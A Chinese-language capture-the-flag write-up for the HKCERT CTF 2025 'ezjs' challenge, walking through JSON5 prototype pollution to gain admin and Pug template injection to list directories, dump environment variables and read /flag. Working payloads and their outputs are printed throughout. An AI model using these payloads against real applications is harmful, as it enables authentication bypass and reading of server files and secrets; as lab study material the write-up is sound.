【CTF-WEB】原型链污染及Pug模板注入
题目
题目来源:HKCERT CTF 2025(Qualifying Round) 國際組
题目名称:ezjs
靶场网址:http://web-a30a7b2fcf.challenge.xctf.org.cn:80/

附件文件:app.js
const expres=require('express')constJSON5=require('json5');const bodyParser =require('body-parser')const pugjs=require('pug')const session =require('express-session')const rand =require('string-random')var cookieParser =require('cookie-parser');constSECRET=rand(32,'0123456789abcdef')const port=80const app=expres() app.use(bodyParser.urlencoded({extended:false})) app.use(bodyParser.json()) app.use(session({secret:SECRET,resave:false,saveUninitialized:true,cookie:{maxAge:3600*1000}})); app.use(cookieParser());functionwaf(obj, arr){let verify =true; Object.keys(obj).forEach((key)=>{if(arr.indexOf(key)>-1){ verify =false;}});return verify;} app.get('/',(req,res)=>{ res.send('hey bro!')}) app.post('/login',(req,res)=>{let userinfo=JSON.stringify(req.body)const user =JSON5.parse(userinfo)if(waf(user,['admin'])){ req.session.user = user if(req. session.user.admin==true){ req.session.user='admin' res.send('hello,admin')}else{ res.send('hello,guest')}}else{ res.send('login error!')}}) app.post('/render',(req,res)=>{if(req.session.user ==='admin'){var word = req.body.word const blacklist =['require','exec']let isBlocked =falseif(word){for(let keyword of blacklist){if(word.toLowerCase().includes(keyword.toLowerCase())){ isBlocked =truebreak}}}if(isBlocked){ res.send('Blocked: dangerous keywords detected!')}else{var hello='welcome '+ word res.send(pugjs.render(hello))}}else{ res.send('you are not admin')}}) app.listen(port,()=>{ console.log(`Example app listening on port ${port}`)})package.json
{"name":"shabby_website","version":"1.0.0","description":"","main":"app.js","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"author":"Rieß","license":"ISC","dependencies":{"body-parser":"^1.20.2","cookie-parser":"^1.4.6","express":"^4.18.1","express-session":"^1.17.3","json5":"2.2.1","string-random":"^0.1.3","pug":"^3.0.2"}}直接访问靶场
hey bro!

打开APIPOST访问看一下

观察app.js代码,发现post格式的登录请求url,访问一下
app.post('/login',(req,res)=>{......})hello,guest

原型链污染
app.post('/login',(req,res)=>{let userinfo=JSON.stringify(req.body)const user =JSON5.parse(userinfo)if(waf(user,['admin'])){ req.session.user = user if(req. session.user.admin==true){ req.session.user='admin' res.send('hello,admin')}else{ res.send('hello,guest')}}else{ res.send('login error!')}})这段代码是一个Node.js Express应用的登录接口,存在严重的安全漏洞(原型链污染)。让我详细解析:
代码功能解析
1. 路由定义
app.post('/login',(req, res)=>{...})- 处理POST请求到
/login路径 - 接收用户名密码等登录数据
2. 数据处理
let userinfo =JSON.stringify(req.body)const user =JSON5.parse(userinfo)JSON5.parse:使用JSON5解析器(比标准JSON更宽松)- 关键漏洞:JSON5支持
__proto__这个特殊属性名
3. WAF检查(有漏洞)
if(waf(user,['admin'])){...}- WAF只检查顶层键名是否包含’admin’
- 但攻击者可以通过
__proto__绕过
4. 会话处理和权限检查
req.session.user = user if(req.session.user.admin ==true){// 注意:这里有问题 req.session.user ='admin' res.send('hello,admin')}- 将用户数据存入session
- 检查
admin属性是否为true - 注意使用
==而不是===(类型转换可能被利用)
关键安全漏洞
原型链污染攻击示例
攻击者可以发送这样的payload:
{"username":"attacker","__proto__":{"admin":true}}攻击原理:
1. JavaScript 的原型链基础
JavaScript 中有一个特殊的设计:每个对象都有一个隐藏的链接,指向另一个对象。这个链接叫做 原型(prototype)。
// 创建一个普通对象const person ={name:"Alice"};// person 的原型是 Object.prototype// 当我们访问 person.toString() 时:// 1. 先在 person 对象本身查找 toString 方法// 2. 没找到 → 去 person.__proto__(即 Object.prototype)中找// 3. 找到了 Object.prototype.toString 方法可以用一个简单的图表示:
person 对象 ├─ name: "Alice" └─ __proto__: 指向 → Object.prototype ├─ toString() ├─ hasOwnProperty() └─ ... 2. __proto__ 是什么?
__proto__ 是一个魔法属性,它允许我们直接访问和修改对象的原型链。
const obj1 ={};const obj2 ={admin:true};// 把 obj1 的原型指向 obj2 obj1.__proto__ = obj2;// 现在 obj1 虽然没有 admin 属性,但可以通过原型链访问 console.log(obj1.admin);// true!因为找到了 obj2.admin3. 为什么 __proto__ 如此危险?
场景1:修改基础对象的原型
// 正常情况const user ={username:"guest"}; console.log(user.admin);// undefined// 攻击者污染了 Object.prototypeObject.prototype.admin =true;// 现在所有对象都有了 admin 属性! console.log(user.admin);// true! console.log({}.admin);// true! console.log([].admin);// true!场景2:通过 JSON5 实现原型污染
// 正常 JSON.parse 不会解析 __proto__const safe =JSON.parse('{"__proto__": {"admin": true}}'); console.log(safe.__proto__);// { admin: true }(只是普通属性) console.log({}.admin);// undefined(没有被污染)// JSON5.parse 会解析 __proto__const dangerous =JSON5.parse('{"__proto__": {"admin": true}}'); console.log({}.admin);// true!所有对象都被污染了!4. 在代码中如何工作?
// 假设攻击者发送:{"username":"attacker","__proto__":{"admin":true}}// 经过 JSON5.parse 后:const user ={username:"attacker",__proto__:{admin:true}// 注意:这里修改了原型!}// 存储到 session req.session.user = user;// 现在 req.session.user 的原型被改了// 检查 admin 属性if(req.session.user.admin ==true){// user 本身没有 admin 属性 → 去原型链上找// 原型链上有 admin: true → 条件成立!// 攻击者获得管理员权限!}5. 更深入:原型链是如何被污染的?
// 实验:手动创建原型污染 console.log("污染前:",{}.admin);// undefined// 创建一个污染源const pollutedSource ={__proto__:{admin:true,isAdmin:function(){returntrue;}}};// 将这个对象赋值给另一个对象的原型const target ={}; target.__proto__ = pollutedSource.__proto__;// 或者使用 Object.assignconst anotherTarget ={}; Object.assign(anotherTarget.__proto__, pollutedSource.__proto__); console.log("污染后:",{}.admin);// true! console.log([].admin);// true! console.log("hello".admin);// true!连字符串都有admin属性了6. 现实中的攻击案例
案例1:绕过权限检查
// 服务器端代码functioncheckPermission(user){if(user.role ==='admin'){// 从原型链上继承returntrue;}returnfalse;}// 攻击者发送const maliciousData ={"__proto__":{"role":"admin"}};// 所有新创建的用户都会自动变成 admin!案例2:修改内置方法
// 攻击者污染了 toString 方法Object.prototype.toString=function(){return"HACKED!";};// 现在所有对象的 toString 都被修改了 console.log({}.toString());// "HACKED!" console.log([1,2,3].toString());// "HACKED!"// 可能导致系统崩溃或数据泄露执行污染获取管理员权限
把{“proto”: {“admin”: true}}作为body参数对login路径进行post请求
返回得到hello,admin,表明污染成功

此时,我们凭借cookie可以任意访问管理员可以访问的网址

SSTI(服务器端模板注入)
app.post('/render',(req,res)=>{if(req.session.user ==='admin'){var word = req.body.word const blacklist =['require','exec']let isBlocked =falseif(word){for(let keyword of blacklist){if(word.toLowerCase().includes(keyword.toLowerCase())){ isBlocked =truebreak}}}if(isBlocked){ res.send('Blocked: dangerous keywords detected!')}else{var hello='welcome '+ word res.send(pugjs.render(hello))}}else{ res.send('you are not admin')}})Pug模板注入攻击
- Pug模板引擎(原名为Jade)
- 直接渲染用户输入:pugjs.render('welcome ’ + word)
- 黑名单绕过:只过滤了require和exec
var hello='welcome '+ word res.send(pugjs.render(hello))漏洞利用测试
将word=#{process.env}作为body参数访问reader路径,得到如下结果
<welcome>[object Object]</welcome>这意味着SSTI(模板注入)攻击成功了!
- SSTI确认成功:
- 你发送了:
word= #{process.env} - 返回了:
<welcome>[object Object]</welcome> - 这说明
#{process.env}被当作Pug/JavaScript代码执行了,而不是普通文本
- 你发送了:
- 环境变量被输出为对象:
process.env是一个JavaScript对象(包含所有环境变量)[object Object]是JavaScript对象转字符串的默认格式- 这证明你可以执行任意JavaScript代码!

读取当前目录下的文件
执行参数
#{global.process.mainModule.constructor._load('fs').readdirSync('.')}返回结果:
<welcome>app.js,node_modules,package-lock.json,package.json</welcome>
读取环境变量详细信息
执行参数
#{JSON.stringify(process.env)}返回结果:
{"USER":"www-data","NODE_VERSION":"18.12.1","HOSTNAME":"ce4ae7d70dd3","YARN_VERSION":"1.22.19","SHLVL":"3","HOME":"/home/www-data","OLDPWD":"/app","LOGNAME":"www-data","TERM":"xterm","PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","SHELL":"/bin/ash","PWD":"/app"} 

读取根目录下的文件
执行参数
#{global.process.mainModule.constructor._load('fs').readdirSync('/')}返回结果:
.dockerenv,app,bin,dev,etc,flag,home,init.sh,lib,media,mnt,opt,proc,root,run,sbin,srv,sys,tmp,usr,var 
读取 /flag 文件
执行参数
#{global.process.mainModule.constructor._load('fs').readFileSync('/flag','utf8')}返回结果:
flag{FcawKMoI06bpgM6VbffgwldC5KJcf6Em} 